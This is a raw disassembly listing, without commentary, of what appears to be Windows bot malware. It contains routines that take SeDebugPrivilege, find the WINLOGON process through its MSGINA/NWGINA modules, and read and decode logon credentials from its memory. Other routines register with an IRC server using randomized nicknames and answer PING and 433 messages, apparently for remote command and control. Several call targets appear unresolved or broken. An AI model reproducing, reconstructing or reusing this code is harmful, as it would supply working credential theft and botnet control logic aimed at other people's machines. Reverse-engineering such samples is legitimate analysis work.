push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D3DEC, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D3DE0, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D3FF0, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D3DE8, eax
call esi
mov dword_4D3DE4, eax
call sub_4170EC
test eax, eax
mov [ebp+arg_0], eax
jz loc_417066
mov esi, dword_42713C
mov edi, 400h
mov ebx, offset dword_4D2DE0
push edi
push ebx
push offset off_437A44
call esi
push edi
mov edi, offset dword_4D35E0
push edi
push offset off_437A2C
call esi
cmp [ebp+var_4], 1
push offset dword_4D3FF8
push [ebp+arg_0]
jnz short loc_417012
call sub_417275
jmp short loc_417017
; ---------------------------------------------------------------------------
loc_417012: ; CODE XREF: sub_416F1A+EFj
call sub_41741C
loc_417017: ; CODE XREF: sub_416F1A+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_41705F
cmp dword_4D3FF8, 0
jnz short loc_417046
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_4379D0
push 200h
push eax
call sub_41B980
add esp, 18h
jmp short loc_417079
; ---------------------------------------------------------------------------
loc_417046: ; CODE XREF: sub_416F1A+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417056
call sub_417552
jmp short loc_41705B
; ---------------------------------------------------------------------------
loc_417056: ; CODE XREF: sub_416F1A+133j
call sub_4175E9
loc_41705B: ; CODE XREF: sub_416F1A+13Aj
pop ecx
push eax
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_41705F: ; CODE XREF: sub_416F1A+101j
push offset unk_437998
jmp short loc_41706B
; ---------------------------------------------------------------------------
loc_417066: ; CODE XREF: sub_416F1A+B6j
push offset unk_43796C
loc_41706B: ; CODE XREF: sub_416F1A+143j
; sub_416F1A+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_417079: ; CODE XREF: sub_416F1A+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 279051Eh
pop ebx
jmp short loc_4170A6
; ---------------------------------------------------------------------------
loc_417093: ; CODE XREF: sub_416F1A+4Ej
push offset unk_437938
loc_417098: ; CODE XREF: sub_416F1A+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4170A6: ; CODE XREF: sub_416F1A+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CD
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409A72
add esp, 14h
loc_4170CD: ; CODE XREF: sub_416F1A+191j
lea eax, [ebp+var_29C]
push eax
call sub_4151AC
push [ebp+var_18]
call sub_40B412
pop ecx
pop ecx
push esi
call near ptr 26D0000h
nop
pop edi
pop esi
sub_416F1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427144
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D3DEC
push ebp
push 0
call esi
push eax
nop
call near ptr 27A0000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D3DEC
test eax, eax
jnz short loc_4171D9
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171D9
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4171D9
loc_417175: ; CODE XREF: sub_4170EC+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CC
push 0
push 0
call dword_4D3DE0
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D3FF0
test eax, eax
jnz short loc_4171BD
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F1
loc_4171BD: ; CODE XREF: sub_4170EC+AAj
test edi, edi
jz short loc_4171C8
push edi
call dword_4D3DE8
loc_4171C8: ; CODE XREF: sub_4170EC+D3j
mov eax, [esp+28h+var_10]
loc_4171CC: ; CODE XREF: sub_4170EC+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417175
loc_4171D9: ; CODE XREF: sub_4170EC+6Dj
; sub_4170EC+7Aj ...
xor edi, edi
loc_4171DB: ; CODE XREF: sub_4170EC+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 27A0000h
mov eax, edi
loc_4171E9: ; CODE XREF: sub_4170EC+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F1: ; CODE XREF: sub_4170EC+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725A
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417207: ; CODE XREF: sub_4170EC+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41726E
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41D5AA
pop ecx
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jnz short loc_41724C
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724C: ; CODE XREF: sub_4170EC+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417207
loc_41725A: ; CODE XREF: sub_4170EC+10Fj
test edi, edi
jz short loc_417265
push edi
call dword_4D3DE8
loc_417265: ; CODE XREF: sub_4170EC+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DB
; ---------------------------------------------------------------------------
loc_41726E: ; CODE XREF: sub_4170EC+13Cj
xor eax, eax
jmp loc_4171E9
sub_4170EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417275 proc near ; CODE XREF: sub_416F1A+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call near ptr 267032Dh
nop
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729E
xor eax, eax
jmp loc_417419
; ---------------------------------------------------------------------------
loc_41729E: ; CODE XREF: sub_417275+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call near ptr 27C0247h
nop
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427148
push 8
call esi
mov edi, dword_427144
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_4172EE
xor esi, esi
jmp loc_41740C
; ---------------------------------------------------------------------------
loc_4172EE: ; CODE XREF: sub_417275+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27B0B8Dh
test eax, eax
jz loc_4173FB
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FB
test [ebp+var_2B], 1
jnz loc_4173FB
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4173FB
loc_417351: ; CODE XREF: sub_417275+112j
push edi
push offset dword_4D2DE0
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_417379
lea eax, [edi+200h]
push eax
push offset dword_4D35E0
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417389
loc_417379: ; CODE XREF: sub_417275+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FB
jmp short loc_417351
; ---------------------------------------------------------------------------
loc_417389: ; CODE XREF: sub_417275+102j
test edi, edi
jz short loc_4173FB
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
nop
call near ptr 2750000h
test eax, eax
jz short loc_4173C4
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 274077Fh
test eax, eax
jz short loc_4173C4
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C4: ; CODE XREF: sub_417275+12Bj
; sub_417275+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4004, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D3FFC, eax
mov dword_4D4000, edi
loc_4173FB: ; CODE XREF: sub_417275+90j
; sub_417275+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 27A0000h
mov esi, [ebp+var_10]
loc_41740C: ; CODE XREF: sub_417275+74j
push [ebp+var_4]
nop
call near ptr 26509C6h
pop edi
mov eax, esi
pop ebx
loc_417419: ; CODE XREF: sub_417275+24j
pop esi
leave
retn
sub_417275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 267032Dh
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750E
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call near ptr 27C0247h
nop
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417505
mov edi, dword_427148
loc_417467: ; CODE XREF: sub_41741C+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 27B0B8Dh
test eax, eax
jz short loc_4174F3
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174F9
test [ebp+var_13], 1
jnz short loc_4174F9
push ecx
push 8
call edi
push eax
call near ptr 27B0000h
nop
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 27C0000h
test eax, eax
jz short loc_4174E5
push offset dword_4D2DE0
push esi
call sub_426762
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E5
lea eax, [esi+400h]
push offset dword_4D35E0
push eax
call sub_426762
pop ecx
test eax, eax
pop ecx
jz short loc_417515
loc_4174E5: ; CODE XREF: sub_41741C+9Fj
; sub_41741C+B0j
push esi
push 0
call edi
push eax
call near ptr 27A0000h
nop
jmp short loc_4174F9
; ---------------------------------------------------------------------------
loc_4174F3: ; CODE XREF: sub_41741C+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174F9: ; CODE XREF: sub_41741C+71j
; sub_41741C+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417467
loc_417505: ; CODE XREF: sub_41741C+3Fj
push [ebp+arg_0]
nop
call near ptr 26509C6h
loc_41750E: ; CODE XREF: sub_41741C+1Ej
xor eax, eax
loc_417510: ; CODE XREF: sub_41741C+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417515: ; CODE XREF: sub_41741C+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D3FFC, ebx
mov dword_4D4000, eax
cmp [eax], cl
jnz short loc_417537
cmp [eax+1], cl
jz short loc_41753F
loc_417537: ; CODE XREF: sub_41741C+114j
; sub_41741C+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417537
loc_41753F: ; CODE XREF: sub_41741C+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call near ptr 26509C6h
nop
push 1
pop eax
jmp short loc_417510
sub_41741C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417552 proc near ; CODE XREF: sub_416F1A+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D3FF8
push esi
mov esi, dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
call near ptr 27B0000h
nop
mov ecx, dword_4D3FF8
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4000
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4004
push eax
call dword_4D3DE4
push [ebp+var_4]
mov edi, offset dword_4D3DF0
push offset dword_4D2DE0
push offset dword_4D35E0
push [ebp+arg_0]
push offset dword_437B54
push 200h
push edi
call sub_41B980
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
nop
call near ptr 27A0000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_417552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D3FF8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 27B0B29h
push eax
call near ptr 27B0000h
nop
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D35E0
mov edi, 200h
mov esi, offset dword_4D2BE0
loc_41762F: ; CODE XREF: sub_4175E9+FAj
mov eax, dword_4D3FF8
add eax, eax
push eax
push dword_4D4000
push [ebp+var_14]
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D3DE4
mov eax, dword_4D3FF8
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_4176A4
loc_41766C: ; CODE XREF: sub_4175E9+B3j
cmp [ebp+var_8], 0
jz short loc_4176C1
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417690
cmp byte ptr [ecx+1], 0
jnz short loc_417690
cmp dl, 20h
jnb short loc_41768A
and [ebp+var_8], 0
loc_41768A: ; CODE XREF: sub_4175E9+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417694
loc_417690: ; CODE XREF: sub_4175E9+90j
; sub_4175E9+96j
and [ebp+var_8], 0
loc_417694: ; CODE XREF: sub_4175E9+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766C
cmp [ebp+var_8], 0
jz short loc_4176C1
loc_4176A4: ; CODE XREF: sub_4175E9+81j
push [ebp+var_14]
push offset dword_4D2DE0
push ebx
push [ebp+arg_0]
push offset dword_437B54
push edi
push esi
call sub_41B980
add esp, 1Ch
jmp short loc_4176D9
; ---------------------------------------------------------------------------
loc_4176C1: ; CODE XREF: sub_4175E9+87j
; sub_4175E9+B9j
push offset dword_4D2DE0
push ebx
push [ebp+arg_0]
push offset dword_437BA4
push edi
push esi
call sub_41B980
add esp, 18h
loc_4176D9: ; CODE XREF: sub_4175E9+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_41762F
push [ebp+var_14]
push 0
call near ptr 27B0B29h
nop
push eax
nop
call near ptr 27A0000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CAFF4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777E
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CAF74
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CAFB4
cmp eax, esi
jnz short loc_417763
push [ebp+arg_0]
call dword_4CAFF8
test eax, eax
jz short loc_41777E
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417763: ; CODE XREF: sub_417702+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CAF1C
cmp eax, esi
jnz short loc_417782
push edi
call dword_4CB00C
loc_41777E: ; CODE XREF: sub_417702+1Bj
; sub_417702+58j
mov eax, esi
jmp short loc_417784
; ---------------------------------------------------------------------------
loc_417782: ; CODE XREF: sub_417702+73j
mov eax, edi
loc_417784: ; CODE XREF: sub_417702+7Ej
pop edi
pop esi
leave
retn
sub_417702 endp
; =============== S U B R O U T I N E =======================================
sub_417788 proc near ; CODE XREF: sub_401ACD+3294p
; sub_401ACD+3300p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_429998 ; "\n"
push edi
call sub_41BEC0
pop ecx
mov esi, offset dword_4D400C
pop ecx
loc_4177A0: ; CODE XREF: sub_417788+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BE
cmp dword ptr [esi], 0
jbe short loc_4177BE
push 0
push edi
call sub_41AFE0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CAFC4
loc_4177BE: ; CODE XREF: sub_417788+1Cj
; sub_417788+21j
add esi, 210h
cmp esi, offset dword_4DA72C
jl short loc_4177A0
pop edi
pop esi
retn
sub_417788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177CF proc near ; CODE XREF: sub_4178BA+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CA34 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C0F4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F4: ; CODE XREF: sub_4177CF+35j
push esi
push 0
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F4
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_41781C
cmp esi, edi
jnz short loc_41781C
push 1
pop eax
jmp loc_4178B5
; ---------------------------------------------------------------------------
loc_41781C: ; CODE XREF: sub_4177CF+3Fj
; sub_4177CF+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C070
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417837
push offset dword_4387BC
jmp short loc_417885
; ---------------------------------------------------------------------------
loc_417837: ; CODE XREF: sub_4177CF+5Fj
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_417858
push esi
push offset dword_4387B8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B3
loc_417858: ; CODE XREF: sub_4177CF+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41B590
lea eax, [ebp+var_420]
push eax
call sub_417ADD
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_4387AC
loc_417885: ; CODE XREF: sub_4177CF+66j
lea eax, [ebp+var_220]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CAFC4
loc_4178B3: ; CODE XREF: sub_4177CF+87j
xor eax, eax
loc_4178B5: ; CODE XREF: sub_4177CF+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BA proc near ; DATA XREF: sub_417A5F+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BB20
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4014[esi]
mov dword_4D4008[esi], edi
push dword_4D4214[esi]
push eax
call sub_417702
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D400C[esi], eax
jb loc_417A3F
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B590
lea eax, [ebp+var_2008]
push eax
call sub_417ADD
lea eax, [ebp+var_4008]
push eax
call sub_417ADD
lea eax, [ebp+var_3008]
push eax
call sub_417ADD
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D400C[esi]
call dword_4CAFC4
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
loc_417996: ; CODE XREF: sub_4178BA+111j
; sub_4178BA+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D400C[esi]
call dword_4CAF8C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A3F
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417996
loc_4179CD: ; CODE XREF: sub_4178BA+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4179F4
cmp al, 0Ah
jz short loc_4179F4
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F4
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A2E
; ---------------------------------------------------------------------------
loc_4179F4: ; CODE XREF: sub_4178BA+11Cj
; sub_4178BA+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2E
push dword_4D400C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_4177CF
pop ecx
test eax, eax
pop ecx
ja short loc_417A3F
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2E: ; CODE XREF: sub_4178BA+138j
; sub_4178BA+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CD
jmp loc_417996
; ---------------------------------------------------------------------------
loc_417A3F: ; CODE XREF: sub_4178BA+40j
; sub_4178BA+107j ...
mov dword_4D4008[esi], ebx
mov esi, dword_4D400C[esi]
cmp esi, ebx
jbe short loc_417A56
push esi
call dword_4CB00C
loc_417A56: ; CODE XREF: sub_4178BA+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD8
loc_417A71: ; CODE XREF: sub_417A5F+77j
xor edi, edi
mov eax, offset dword_4D4008
loc_417A78: ; CODE XREF: sub_417A5F+28j
cmp [eax], ebx
jz short loc_417A89
add eax, 210h
inc edi
cmp eax, offset dword_4DA728
jl short loc_417A78
loc_417A89: ; CODE XREF: sub_417A5F+1Bj
cmp edi, 31h
jz short loc_417AD8
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4014[esi]
push eax
call sub_41BEB0
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4214[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D4008[esi], 1
push eax
push ebx
push edi
push offset sub_4178BA
push ebx
push ebx
call near ptr 2670000h
nop
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A71
loc_417AD8: ; CODE XREF: sub_417A5F+10j
; sub_417A5F+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp
; sub_401ACD+3793p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
add esp, 0Ch
call sub_41B8E2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F8
call sub_41C798
cmp eax, 1
jnz short loc_417B27
call sub_41B8E2
call sub_41B8E2
push 66h
cdq
pop ecx
idiv ecx
push off_437EF8[edx*4]
jmp short loc_417B40
; ---------------------------------------------------------------------------
loc_417B27: ; CODE XREF: sub_417ADD+2Fj
call sub_41B8E2
call sub_41B8E2
cdq
mov ecx, 0C0h
idiv ecx
push off_437BF8[edx*4]
loc_417B40: ; CODE XREF: sub_417ADD+48j
lea eax, [ebp+var_2C]
push eax
call sub_41BEB0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AFE0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
call sub_41C798
mov ebx, eax
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417BB3
cmp esi, 3
jnz short loc_417BAA
cmp ebx, 1
jz short loc_417BB3
loc_417BAA: ; CODE XREF: sub_417ADD+C6j
cmp eax, 1
jnz loc_417C6D
loc_417BB3: ; CODE XREF: sub_417ADD+C1j
; sub_417ADD+CBj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E0
call sub_41C798
push off_437EF8[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41BEB0
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41BFB0
add esp, 10h
test eax, eax
